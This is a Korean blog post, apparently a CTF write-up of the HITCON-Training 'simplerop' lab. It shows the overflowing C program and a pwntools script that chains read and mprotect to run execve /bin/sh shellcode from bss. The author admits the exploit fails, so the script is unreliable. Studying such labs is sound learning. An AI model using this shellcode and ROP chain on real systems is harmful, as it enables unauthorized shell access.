이번 문제로 ROP란것이 무엇인지 확실히 알게됬다고 생각하는 CodeByO입니다.
확실히 다른 문제에 비해 코드로만 풀이가 되어있으니 스스로 생각하거나 삽질하는 능력이 많이 향상되는거 같네요
그럼! 바로 시작하도록 하겠습니다.
1.분석
이번 문제의 이름은 simplerop로 rop기법을 할 수 있는지 없는지 물어보는 문제인듯합니다.
코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 | #include <stdio.h> int main(){ char buf[20]; puts("ROP is easy is'nt it ?"); printf("Your input :"); fflush(stdout); read(0,buf,100); } | cs |
매우 간단하며
buf는 20바이트인데 비해 read함수로 100만큼 받아 오버플로우가 발생한다는걸 알 수 있습니다.
그리고 NX가 걸려있어서 스택이나 힙영역을 사용하지 못한다는것도 확인할 수 있습니다.
2.풀이
매우 간단한 문제여서 여러 방법을 사용할 수 있지만 저는 mprotect함수를 사용해 bss에 실행권한을 줘서
read함수로 bss에 쉘코드를 넣은다음 bss를 실행하는 페이로드를 짜봤습니다.
먼저 위 분석화면에서 main+54부분에서 buf함수가 0x1C 즉, 28바이트로 할당되있다는것을 알 수 있으며,
buf+dummy+sfp까지 하면 총 32바이트에 dummy값을 넣어주면 된다는 계산이 나옵니다.
처음 buf가 28바이트라는걸 알았을때 제가 쓸 쉘코드는 23바이트라 buf에도 해도 된다는 생각이 들었지만 ASLR때문에 bss를 써야되더군요;;
이제 read함수 주소와 인자를 정리해줄 pppr 그리고 mprotect함수 주소, bss주소만 구해주시면 페이로드를 만드실 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * elf = ELF("./simplerop") p = process("./simplerop") mprotect_addr = 0x0806d870 read_addr = 0x0806cd50 bss_addr = 0x080eaf90 p3r = 0x080bd6c6 leng = 23 prot = 7 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" dummy = "A"*32 payload = dummy payload += p32(read_addr) payload += p32(p3r) payload += p32(0) payload += p32(bss_addr) payload += p32(leng) payload += p32(mprotect_addr) payload += p32(bss_addr) payload += p32(leng) payload += p32(prot) p.recvuntil(":") p.sendline(payload) sleep(0.1) p.sendline(shellcode) p.interactive() | cs |
그래서 해봤는데.....! 이번에도 명령어가 제데로 동작하지 않더군요ㅠㅠ 기존에 있던 풀이는 너무 난해해서 해석이 불가능 했고요;;
일단 기록겸해서 먼저 올리고 다른 방법을 강구해볼려고 합니다. 기본적인 bss에 /bin/sh문자열 넣고 system()로 콜하는게 있었지만
system() 주소가 표시가 안되 오프셋으로 구하는 방법을 또 사용해야되서 다른방법을 쓴거였지만
이번에 오프셋으로 주소 구하는법을 어렴풋 배워서 내일 한번 시도해볼려고 합니다.
아무튼 기록은 여기서 끝~!
'포너블 > HITCON-Training' 카테고리의 다른 글
HITCON-Training lab7 (0) | 2018.01.01 |
---|---|
HICON-Training lab1 (0) | 2017.12.17 |
HICON-Training lab3 (0) | 2017.11.29 |